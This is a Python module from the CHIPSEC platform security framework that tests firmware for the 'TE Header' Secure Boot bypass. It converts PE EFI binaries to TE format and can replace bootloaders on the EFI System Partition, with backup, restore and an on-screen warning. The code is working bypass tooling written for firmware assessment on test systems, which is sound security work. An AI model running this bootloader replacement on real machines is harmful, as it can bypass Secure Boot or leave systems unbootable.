mirror of
https://github.com/chipsec/chipsec
synced 2026-06-08 13:31:00 +00:00
33c9ef3506
This commit fixes all the E265 errors. They were found by running "flake8 ." from the root directory. This is an error defined by "pycodestyle", and has no functional impact to the source. This is simply fixing whitespace as defined by CHIPSEC's .flake8 configuration. background: https://www.flake8rules.com/rules/E265.html https://pycodestyle.pycqa.org/en/latest/intro.html#error-codes:~:text=should%20start%20with%20%E2%80%98%23%20%E2%80%98-,E265,-block%20comment%20should versions: flake8 v7.2.0, python v3.12.6 Signed-off-by: William Leara <william.leara@dell.com>
563 lines
22 KiB
Python
563 lines
22 KiB
Python
# CHIPSEC: Platform Security Assessment Framework
|
|
# Copyright (c) 2010-2022, Intel Corporation
|
|
#
|
|
# This program is free software; you can redistribute it and/or
|
|
# modify it under the terms of the GNU General Public License
|
|
# as published by the Free Software Foundation; Version 2.
|
|
#
|
|
# This program is distributed in the hope that it will be useful,
|
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
# GNU General Public License for more details.
|
|
#
|
|
# You should have received a copy of the GNU General Public License
|
|
# along with this program; if not, write to the Free Software
|
|
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
|
|
#
|
|
# Contact information:
|
|
# chipsec@intel.com
|
|
#
|
|
|
|
|
|
"""
|
|
Tool to test for 'TE Header' vulnerability in Secure Boot implementations as described in
|
|
`All Your Boot Are Belong To Us <http://www.c7zero.info/stuff/AllYourBoot_csw14-intel-final.pdf>`_
|
|
|
|
Usage:
|
|
``chipsec_main.py -m tools.secureboot.te [-a <mode>,<cfg_file>,<efi_file>]``
|
|
- ``<mode>``
|
|
|
|
* ``generate_te`` (default) convert PE EFI binary ``<efi_file>`` to TE binary
|
|
* ``replace_bootloader`` replace bootloader files listed in ``<cfg_file>`` on ESP with modified ``<efi_file>``
|
|
* ``restore_bootloader`` restore original bootloader files from ``.bak`` files
|
|
|
|
- ``<cfg_file>`` path to config file listing paths to bootloader files to replace
|
|
- ``<efi_file>`` path to EFI binary to convert to TE binary. If no file path is provided, the tool will look for Shell.efi
|
|
|
|
Examples:
|
|
|
|
Convert Shell.efi PE/COFF EFI executable to TE executable:
|
|
|
|
``chipsec_main.py -m tools.secureboot.te -a generate_te,Shell.efi``
|
|
|
|
Replace bootloaders listed in te.cfg file with TE version of Shell.efi executable:
|
|
|
|
``chipsec_main.py -m tools.secureboot.te -a replace_bootloader,te.cfg,Shell.efi``
|
|
|
|
Restore bootloaders listed in te.cfg file:
|
|
|
|
``chipsec_main.py -m tools.secureboot.te -a restore_bootloader,te.cfg``
|
|
|
|
"""
|
|
|
|
import os
|
|
import shutil
|
|
import struct
|
|
import sys
|
|
|
|
from chipsec.module_common import BaseModule, SECUREBOOT
|
|
from chipsec.library.returncode import ModuleResult
|
|
from chipsec.library.logger import logger
|
|
|
|
TAGS = [SECUREBOOT]
|
|
METADATA_TAGS = ['OPENSOURCE', 'IA', 'TOOLS', 'SECUREBOOT', 'TE']
|
|
|
|
|
|
DEFAULT_PE_FILE_PATH = "chipsec/modules/tools/secureboot/Shell.efi"
|
|
DEFAULT_CONFIG_FILE_PATH = 'chipsec/modules/tools/secureboot/te.cfg'
|
|
|
|
# typedef struct _IMAGE_DOS_HEADER
|
|
# {
|
|
# WORD e_magic;
|
|
# WORD e_cblp;
|
|
# WORD e_cp;
|
|
# WORD e_crlc;
|
|
# WORD e_cparhdr;
|
|
# WORD e_minalloc;
|
|
# WORD e_maxalloc;
|
|
# WORD e_ss;
|
|
# WORD e_sp;
|
|
# WORD e_csum;
|
|
# WORD e_ip;
|
|
# WORD e_cs;
|
|
# WORD e_lfarlc;
|
|
# WORD e_ovno;
|
|
# WORD e_res[4];
|
|
# WORD e_oemid;
|
|
# WORD e_oeminfo;
|
|
# WORD e_res2[10];
|
|
# LONG e_lfanew;
|
|
# } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
|
|
|
|
IMAGE_DOS_HEADER = "<14H4HHH10Hi"
|
|
IMAGE_DOS_HEADER_size = struct.calcsize(IMAGE_DOS_HEADER)
|
|
E_MAGIC = 0x5A4D
|
|
E_MAGIC_STR = "MZ"
|
|
|
|
# typedef struct _IMAGE_DATA_DIRECTORY
|
|
# {
|
|
# ULONG VirtualAddress;
|
|
# ULONG Size;
|
|
# } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
|
|
|
|
IMAGE_DATA_DIRECTORY = "<II"
|
|
IMAGE_DATA_DIRECTORY_size = struct.calcsize(IMAGE_DATA_DIRECTORY)
|
|
|
|
IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16
|
|
|
|
# typedef struct _IMAGE_OPTIONAL_HEADER
|
|
# {
|
|
# WORD Magic;
|
|
# UCHAR MajorLinkerVersion;
|
|
# UCHAR MinorLinkerVersion;
|
|
# ULONG SizeOfCode;
|
|
# ULONG SizeOfInitializedData;
|
|
# ULONG SizeOfUninitializedData;
|
|
# ULONG AddressOfEntryPoint;
|
|
# ULONG BaseOfCode;
|
|
# ULONG BaseOfData;
|
|
# ULONG ImageBase;
|
|
# ULONG SectionAlignment;
|
|
# ULONG FileAlignment;
|
|
# WORD MajorOperatingSystemVersion;
|
|
# WORD MinorOperatingSystemVersion;
|
|
# WORD MajorImageVersion;
|
|
# WORD MinorImageVersion;
|
|
# WORD MajorSubsystemVersion;
|
|
# WORD MinorSubsystemVersion;
|
|
# ULONG Win32VersionValue;
|
|
# ULONG SizeOfImage;
|
|
# ULONG SizeOfHeaders;
|
|
# ULONG CheckSum;
|
|
# WORD Subsystem;
|
|
# WORD DllCharacteristics;
|
|
# ULONG SizeOfStackReserve;
|
|
# ULONG SizeOfStackCommit;
|
|
# ULONG SizeOfHeapReserve;
|
|
# ULONG SizeOfHeapCommit;
|
|
# ULONG LoaderFlags;
|
|
# ULONG NumberOfRvaAndSizes;
|
|
# IMAGE_DATA_DIRECTORY DataDirectory[16];
|
|
# } IMAGE_OPTIONAL_HEADER, *PIMAGE_OPTIONAL_HEADER;
|
|
|
|
IMAGE_OPTIONAL_HEADER = "<HBB9I6H4I2H6I"
|
|
IMAGE_OPTIONAL_HEADER_size = struct.calcsize(IMAGE_OPTIONAL_HEADER)
|
|
IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b
|
|
|
|
# typedef struct {
|
|
# //
|
|
# // Standard fields.
|
|
# //
|
|
# UINT16 Magic;
|
|
# UINT8 MajorLinkerVersion;
|
|
# UINT8 MinorLinkerVersion;
|
|
# UINT32 SizeOfCode;
|
|
# UINT32 SizeOfInitializedData;
|
|
# UINT32 SizeOfUninitializedData;
|
|
# UINT32 AddressOfEntryPoint;
|
|
# UINT32 BaseOfCode;
|
|
# //
|
|
# // NT additional fields.
|
|
# //
|
|
# UINT64 ImageBase;
|
|
# UINT32 SectionAlignment;
|
|
# UINT32 FileAlignment;
|
|
# UINT16 MajorOperatingSystemVersion;
|
|
# UINT16 MinorOperatingSystemVersion;
|
|
# UINT16 MajorImageVersion;
|
|
# UINT16 MinorImageVersion;
|
|
# UINT16 MajorSubsystemVersion;
|
|
# UINT16 MinorSubsystemVersion;
|
|
# UINT32 Win32VersionValue;
|
|
# UINT32 SizeOfImage;
|
|
# UINT32 SizeOfHeaders;
|
|
# UINT32 CheckSum;
|
|
# UINT16 Subsystem;
|
|
# UINT16 DllCharacteristics;
|
|
# UINT64 SizeOfStackReserve;
|
|
# UINT64 SizeOfStackCommit;
|
|
# UINT64 SizeOfHeapReserve;
|
|
# UINT64 SizeOfHeapCommit;
|
|
# UINT32 LoaderFlags;
|
|
# UINT32 NumberOfRvaAndSizes;
|
|
# EFI_IMAGE_DATA_DIRECTORY DataDirectory[EFI_IMAGE_NUMBER_OF_DIRECTORY_ENTRIES];
|
|
# } EFI_IMAGE_OPTIONAL_HEADER64;
|
|
|
|
IMAGE_OPTIONAL_HEADER64 = "<HBBIIIIIQIIHHHHHHIIIIHHQQQQII"
|
|
IMAGE_OPTIONAL_HEADER64_size = struct.calcsize(IMAGE_OPTIONAL_HEADER64)
|
|
IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b
|
|
|
|
# typedef struct _IMAGE_FILE_HEADER
|
|
# {
|
|
# WORD Machine;
|
|
# WORD NumberOfSections;
|
|
# ULONG TimeDateStamp;
|
|
# ULONG PointerToSymbolTable;
|
|
# ULONG NumberOfSymbols;
|
|
# WORD SizeOfOptionalHeader;
|
|
# WORD Characteristics;
|
|
# } IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
|
|
|
|
IMAGE_FILE_HEADER = "<2H3I2H"
|
|
IMAGE_FILE_HEADER_size = struct.calcsize(IMAGE_FILE_HEADER)
|
|
|
|
# typedef struct _IMAGE_NT_HEADERS
|
|
# {
|
|
# ULONG Signature;
|
|
# IMAGE_FILE_HEADER FileHeader;
|
|
# IMAGE_OPTIONAL_HEADER OptionalHeader;
|
|
# } IMAGE_NT_HEADERS, *PIMAGE_NT_HEADERS;
|
|
|
|
IMAGE_NT_SIGNATURE = 0x00004550
|
|
IMAGE_NT_HEADERS_size = (4 + IMAGE_FILE_HEADER_size + IMAGE_OPTIONAL_HEADER_size + IMAGE_NUMBEROF_DIRECTORY_ENTRIES * IMAGE_DATA_DIRECTORY_size)
|
|
|
|
# typedef struct _IMAGE_SECTION_HEADER
|
|
# {
|
|
# UCHAR Name[8];
|
|
# ULONG Misc;
|
|
# ULONG VirtualAddress;
|
|
# ULONG SizeOfRawData;
|
|
# ULONG PointerToRawData;
|
|
# ULONG PointerToRelocations;
|
|
# ULONG PointerToLinenumbers;
|
|
# WORD NumberOfRelocations;
|
|
# WORD NumberOfLinenumbers;
|
|
# ULONG Characteristics;
|
|
# } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
|
|
|
|
IMAGE_SECTION_HEADER = "<8s6I2HI"
|
|
IMAGE_SECTION_HEADER_size = struct.calcsize(IMAGE_SECTION_HEADER)
|
|
|
|
# PE executable structure
|
|
#
|
|
# MS-DOS header
|
|
# ...
|
|
# e_lfanew -------------------+
|
|
# |
|
|
# |
|
|
# IMAGE_NT_HEADERS Header <----+
|
|
# ...
|
|
# SECTION TABLE
|
|
# ...
|
|
# TE header
|
|
#
|
|
# typedef struct {
|
|
# UINT16 Signature; // signature for TE format = "VZ"
|
|
# UINT16 Machine; // from the original file header
|
|
# UINT8 NumberOfSections; // from the original file header
|
|
# UINT8 Subsystem; // from original optional header
|
|
# UINT16 StrippedSize; // how many bytes we removed from the header
|
|
# UINT32 AddressOfEntryPoint; // offset to entry point -- from original optional header
|
|
# UINT32 BaseOfCode; // from original image -- required for ITP debug
|
|
# UINT64 ImageBase; // from original file header
|
|
# IMAGE_DATA_DIRECTORY DataDirectory[2]; // only base relocation and debug directory
|
|
# } EFI_TE_IMAGE_HEADER;
|
|
|
|
EFI_TE_IMAGE_HEADER = "<HHBBHIIQ"
|
|
EFI_TE_IMAGE_HEADER_SIGNATURE = 0x5A56
|
|
|
|
EFI_IMAGE_DIRECTORY_ENTRY_EXPORT = 0
|
|
EFI_IMAGE_DIRECTORY_ENTRY_IMPORT = 1
|
|
EFI_IMAGE_DIRECTORY_ENTRY_RESOURCE = 2
|
|
EFI_IMAGE_DIRECTORY_ENTRY_EXCEPTION = 3
|
|
EFI_IMAGE_DIRECTORY_ENTRY_SECURITY = 4
|
|
EFI_IMAGE_DIRECTORY_ENTRY_BASERELOC = 5
|
|
EFI_IMAGE_DIRECTORY_ENTRY_DEBUG = 6
|
|
EFI_IMAGE_DIRECTORY_ENTRY_COPYRIGHT = 7
|
|
EFI_IMAGE_DIRECTORY_ENTRY_GLOBALPTR = 8
|
|
EFI_IMAGE_DIRECTORY_ENTRY_TLS = 9
|
|
EFI_IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG = 10
|
|
|
|
EFI_TE_IMAGE_DIRECTORY_ENTRY_BASERELOC = 0
|
|
EFI_TE_IMAGE_DIRECTORY_ENTRY_DEBUG = 1
|
|
|
|
|
|
def IsValidPEHeader(data):
|
|
size = len(data)
|
|
if size < IMAGE_DOS_HEADER_size:
|
|
return False
|
|
signature, = struct.unpack("<H", data[:2])
|
|
if signature != E_MAGIC:
|
|
return False
|
|
e_lfanew, = struct.unpack("<I", data[IMAGE_DOS_HEADER_size - 4:IMAGE_DOS_HEADER_size])
|
|
if e_lfanew >= size:
|
|
return False
|
|
if (size - e_lfanew) < IMAGE_NT_HEADERS_size:
|
|
return False
|
|
pe_signature, = struct.unpack("<I", data[e_lfanew:e_lfanew + 4])
|
|
if pe_signature != IMAGE_NT_SIGNATURE:
|
|
return False
|
|
return True
|
|
|
|
|
|
def replace_header(data):
|
|
if not IsValidPEHeader(data):
|
|
return None
|
|
size = len(data)
|
|
e_lfanew, = struct.unpack("<I", data[IMAGE_DOS_HEADER_size - 4:IMAGE_DOS_HEADER_size])
|
|
# TimeDateStamp, PointerToSymbolTable, NumberOfSymbols, SizeOfOptionalHeader, Characteristics
|
|
Machine, NumberOfSections, u1, u2, u3, SizeOfOptionalHeader, u5 \
|
|
= struct.unpack(IMAGE_FILE_HEADER, data[e_lfanew + 4:e_lfanew + 4 + IMAGE_FILE_HEADER_size])
|
|
StrippedSize = e_lfanew + 4 + IMAGE_FILE_HEADER_size + SizeOfOptionalHeader
|
|
if StrippedSize > size:
|
|
return None
|
|
if StrippedSize & ~0xffff:
|
|
return None
|
|
dof = e_lfanew + 4 + IMAGE_FILE_HEADER_size
|
|
Magic, = struct.unpack("<H", data[dof:dof + 2])
|
|
if Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC:
|
|
Magic, MajorLinkerVersion, MinorLinkerVersion, SizeOfCode, SizeOfInitializedData, \
|
|
SizeOfUninitializedData, AddressOfEntryPoint, BaseOfCode, BaseOfData, ImageBase, \
|
|
SectionAlignment, FileAlignment, MajorOperatingSystemVersion, MinorOperatingSystemVersion, \
|
|
MajorImageVersion, MinorImageVersion, MajorSubsystemVersion, MinorSubsystemVersion, \
|
|
Win32VersionValue, SizeOfImage, SizeOfHeaders, CheckSum, Subsystem, DllCharacteristics, \
|
|
SizeOfStackReserve, SizeOfStackCommit, SizeOfHeapReserve, SizeOfHeapCommit, LoaderFlags, \
|
|
NumberOfRvaAndSizes = struct.unpack(IMAGE_OPTIONAL_HEADER, data[dof:dof + IMAGE_OPTIONAL_HEADER_size])
|
|
dof = dof + IMAGE_OPTIONAL_HEADER_size
|
|
elif Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC:
|
|
Magic, MajorLinkerVersion, MinorLinkerVersion, SizeOfCode, SizeOfInitializedData, \
|
|
SizeOfUninitializedData, AddressOfEntryPoint, BaseOfCode, ImageBase, SectionAlignment, \
|
|
FileAlignment, MajorOperatingSystemVersion, MinorOperatingSystemVersion, MajorImageVersion, \
|
|
MinorImageVersion, MajorSubsystemVersion, MinorSubsystemVersion, Win32VersionValue, \
|
|
SizeOfImage, SizeOfHeaders, CheckSum, Subsystem, DllCharacteristics, SizeOfStackReserve, \
|
|
SizeOfStackCommit, SizeOfHeapReserve, SizeOfHeapCommit, LoaderFlags, NumberOfRvaAndSizes \
|
|
= struct.unpack(IMAGE_OPTIONAL_HEADER64, data[dof:dof + IMAGE_OPTIONAL_HEADER64_size])
|
|
dof = dof + IMAGE_OPTIONAL_HEADER64_size
|
|
else:
|
|
return None
|
|
if NumberOfSections & ~0xFF:
|
|
return None
|
|
if Subsystem & ~0xFF:
|
|
return None
|
|
|
|
basereloc_off = dof + EFI_IMAGE_DIRECTORY_ENTRY_BASERELOC * IMAGE_DATA_DIRECTORY_size
|
|
debug_off = dof + EFI_IMAGE_DIRECTORY_ENTRY_DEBUG * IMAGE_DATA_DIRECTORY_size
|
|
BASERELOC = "\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
DEBUG = "\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
if NumberOfRvaAndSizes > EFI_IMAGE_DIRECTORY_ENTRY_BASERELOC:
|
|
BASERELOC = data[basereloc_off:basereloc_off + IMAGE_DATA_DIRECTORY_size]
|
|
if NumberOfRvaAndSizes > EFI_IMAGE_DIRECTORY_ENTRY_DEBUG:
|
|
DEBUG = data[debug_off:debug_off + IMAGE_DATA_DIRECTORY_size]
|
|
te_header = struct.pack(EFI_TE_IMAGE_HEADER,
|
|
EFI_TE_IMAGE_HEADER_SIGNATURE, Machine, NumberOfSections, Subsystem, StrippedSize, AddressOfEntryPoint, BaseOfCode, ImageBase)
|
|
te_data = te_header + BASERELOC + DEBUG + data[StrippedSize:]
|
|
return te_data
|
|
|
|
|
|
def produce_te(fname, outfname):
|
|
data = ''
|
|
with open(fname, 'rb') as f:
|
|
data = f.read()
|
|
te_data = replace_header(data)
|
|
if te_data is None:
|
|
return 0
|
|
with open(outfname, 'wb') as fte:
|
|
fte.write(te_data)
|
|
return 1
|
|
|
|
|
|
def replace_efi_binary(orig_efi_binary, new_efi_binary):
|
|
logger().log(f'[*] Replacing EFI binary \'{orig_efi_binary}\'..')
|
|
te_binary = new_efi_binary + '.te'
|
|
if not os.path.exists(te_binary):
|
|
produce_te(new_efi_binary, te_binary)
|
|
# back up original binary
|
|
backup = orig_efi_binary + '.bak'
|
|
if not os.path.exists(backup):
|
|
os.rename(orig_efi_binary, backup)
|
|
try:
|
|
shutil.copy(te_binary, orig_efi_binary)
|
|
except OSError as err:
|
|
logger().log_error(f'Cannot replace binary ({err})')
|
|
return False
|
|
return True
|
|
|
|
|
|
def umount(drive):
|
|
import subprocess
|
|
if os.path.exists(drive):
|
|
res = subprocess.call(["mountvol.exe", drive, "/D"])
|
|
if res != 0:
|
|
logger().log_warning(f'Cannot unmount EFI System partition: {res:d}')
|
|
|
|
|
|
def get_efi_mount():
|
|
import subprocess
|
|
for l in range(ord('z'), ord('a'), -1):
|
|
if not os.path.exists('%c:\\' % l):
|
|
res = subprocess.call(["mountvol.exe", "%c:\\" % l, "/S"])
|
|
if res != 0:
|
|
logger().log_error(f'Cannot mount EFI System partition (status = {res:d})')
|
|
return None
|
|
return '%c:\\' % l
|
|
logger().log_error("Cannot mount EFI System partition. No drive letters to use.")
|
|
return None
|
|
|
|
|
|
def get_bootloader_paths(cfg_file):
|
|
bootloader_paths = []
|
|
with open(cfg_file, 'r') as fcfg:
|
|
logger().log(f'[*] reading paths from \'{cfg_file}\'..')
|
|
for line in fcfg:
|
|
bl_path = line.rstrip()
|
|
if bl_path is not None:
|
|
logger().log(f' adding path \'{bl_path}\'..')
|
|
bootloader_paths.append(bl_path)
|
|
return bootloader_paths
|
|
|
|
|
|
def replace_bootloader(bootloader_paths, new_bootloader_file, do_mount=True):
|
|
logger().log("[*] Replacing bootloaders on EFI System Partition (ESP)...")
|
|
dsk = get_efi_mount() if do_mount else ''
|
|
if dsk is None:
|
|
return False
|
|
try:
|
|
for pth in bootloader_paths:
|
|
bootloader_path = os.path.join(dsk, pth)
|
|
if os.path.exists(bootloader_path):
|
|
replace_efi_binary(bootloader_path, new_bootloader_file)
|
|
else:
|
|
logger().log_warning(f'Bootloader {bootloader_path} does not exist on ESP')
|
|
finally:
|
|
if do_mount:
|
|
umount(dsk)
|
|
logger().log("[*] You will need to reboot the system to see the changes")
|
|
return True
|
|
|
|
|
|
def restore_efi_binary(orig_efi_binary):
|
|
logger().log(f'[*] Restoring {orig_efi_binary}..')
|
|
backup = orig_efi_binary + ".bak"
|
|
if not os.path.exists(backup):
|
|
logger().log_error(f'Cannot restore original binary: \'{backup}\' not found')
|
|
return False
|
|
try:
|
|
if os.path.exists(orig_efi_binary):
|
|
os.remove(orig_efi_binary)
|
|
os.rename(backup, orig_efi_binary)
|
|
except OSError as err:
|
|
logger().log_error(f'Cannot restore original binary ({err})')
|
|
return False
|
|
return True
|
|
|
|
|
|
def restore_bootloader(bootloader_paths, do_mount=True):
|
|
logger().log("[*] Restoring bootloaders on EFI System Partition (ESP)...")
|
|
dsk = get_efi_mount() if do_mount else ''
|
|
if dsk is None:
|
|
return False
|
|
for pth in bootloader_paths:
|
|
bootloader_path = os.path.join(dsk, pth)
|
|
if os.path.exists(bootloader_path):
|
|
restore_efi_binary(bootloader_path)
|
|
if do_mount:
|
|
umount(dsk)
|
|
logger().log("[*] You will need to reboot the system to see the changes")
|
|
return True
|
|
|
|
|
|
def confirm():
|
|
logger().log_important("***************************************************************************************")
|
|
logger().log_important("*")
|
|
logger().log_important("* RUNNING THIS TOOL MAY RESULT IN UNBOOTABLE OS!")
|
|
logger().log_important("* USE IT FOR TESTING PURPOSES ON TEST SYSTEMS ONLY")
|
|
logger().log_important("*")
|
|
logger().log_important("* The tool converts PE/COFF EFI executables to TE EFI executables.")
|
|
logger().log_important("* The tool can also automatically replace files (boot loaders)")
|
|
logger().log_important("* listed in the configuration file with the generated TE executable.")
|
|
logger().log_important("*")
|
|
logger().log_important("* If after reboot, TE executable runs then the firmware doesn't properly")
|
|
logger().log_important("* enforce Secure Boot checks on TE EFI executables")
|
|
logger().log_important("*")
|
|
logger().log_important("* If TE executable doesn't run then the firmware correctly blocked it.")
|
|
logger().log_important("* To restore OS boot loader in this case you may use one of the following:")
|
|
logger().log_important("* - Disable Secure Boot in BIOS, boot to external drive (e.g. Linux or UEFI shell)")
|
|
logger().log_important("* then restore original boot loader executables from .bak files")
|
|
logger().log_important("* - On Windows, use recovery mode which should automatically restore correct executables")
|
|
logger().log_important("*")
|
|
logger().log_important("***************************************************************************************")
|
|
s = input("Type 'yes' to continue running the tool > ")
|
|
if s.lower() not in ['yes', 'y']:
|
|
sys.exit(0)
|
|
|
|
|
|
def usage():
|
|
logger().log('Usage:\n' +
|
|
'chipsec_main.py -m tools.secureboot.te [-a <mode>,<cfg_file>,<efi_file>]\n' +
|
|
' <mode>\n' +
|
|
' generate_te - (default) convert PE EFI binary <efi_file> to TE binary\n' +
|
|
' replace_bootloader - replace bootloader files listed in <cfg_file> on ESP with modified <efi_file>\n' +
|
|
' restore_bootloader - restore original bootloader files from .bak files\n' +
|
|
' <cfg_file> - path to config file listing paths to bootloader files to replace\n' +
|
|
' <efi_file> - path to EFI binary to convert to TE binary\n' +
|
|
' If no file path is provided, the tool will look for Shell.efi\n')
|
|
|
|
|
|
class te(BaseModule):
|
|
|
|
def __init__(self):
|
|
BaseModule.__init__(self)
|
|
|
|
def is_supported(self):
|
|
# win8 = self.cs.helper.is_win8_or_greater()
|
|
efi_mode = self.cs.helper.EFI_supported()
|
|
if not efi_mode:
|
|
self.logger.log_not_applicable("OS did not boot in UEFI mode")
|
|
return efi_mode
|
|
|
|
def run(self, module_argv):
|
|
self.logger.start_test("'TE Header' Secure Boot Bypass Test")
|
|
usage()
|
|
|
|
sts = False
|
|
do_mount = True
|
|
file_path = DEFAULT_PE_FILE_PATH
|
|
te_cfg = DEFAULT_CONFIG_FILE_PATH
|
|
mode = module_argv[0] if len(module_argv) > 0 else 'generate_te'
|
|
|
|
if 'generate_te' == mode:
|
|
if len(module_argv) > 1:
|
|
file_path = module_argv[1]
|
|
if not os.path.exists(file_path):
|
|
self.logger.log_error(f'Cannot find file \'{file_path}\'')
|
|
self.logger.log_error(f'Please download it from https://github.com/chipsec/chipsec/releases/download/binaries/Shell.efi ')
|
|
self.logger.log_error(f'And move file to \'{file_path}\'')
|
|
self.result.setStatusBit(self.result.status.ACCESS_RW)
|
|
return self.result.getReturnCode(ModuleResult.ERROR)
|
|
|
|
sts = replace_efi_binary(file_path, file_path)
|
|
|
|
elif ('restore_bootloader' == mode) or ('replace_bootloader' == mode):
|
|
confirm()
|
|
|
|
if len(module_argv) > 1:
|
|
te_cfg = module_argv[1]
|
|
if not os.path.exists(te_cfg):
|
|
self.logger.log_error(f'Cannot find file \'{te_cfg}\'')
|
|
self.result.setStatusBit(self.result.status.ACCESS_RW)
|
|
return self.result.getReturnCode(ModuleResult.ERROR)
|
|
|
|
bootloader_paths = get_bootloader_paths(te_cfg)
|
|
if len(bootloader_paths) == 0:
|
|
self.logger.log("[*] no bootloaders to replace. Exit...")
|
|
self.result.setStatusBit(self.result.status.FEATURE_DISABLED)
|
|
return self.result.getReturnCode(ModuleResult.WARNING)
|
|
|
|
do_mount = self.cs.os_helper.is_windows() # @TODO
|
|
if 'restore_bootloader' == mode:
|
|
sts = restore_bootloader(bootloader_paths, do_mount)
|
|
elif 'replace_bootloader' == mode:
|
|
if len(module_argv) > 2:
|
|
file_path = module_argv[2]
|
|
sts = replace_bootloader(bootloader_paths, file_path, do_mount)
|
|
|
|
else:
|
|
self.logger.log_error(f'Invalid mode: \'{mode}\'')
|
|
|
|
if sts:
|
|
self.result.setStatusBit(self.result.status.SUCCESS)
|
|
return self.result.getReturnCode(ModuleResult.PASSED)
|
|
else:
|
|
self.result.setStatusBit(self.result.status.RESTORE)
|
|
return self.result.getReturnCode(ModuleResult.ERROR)
|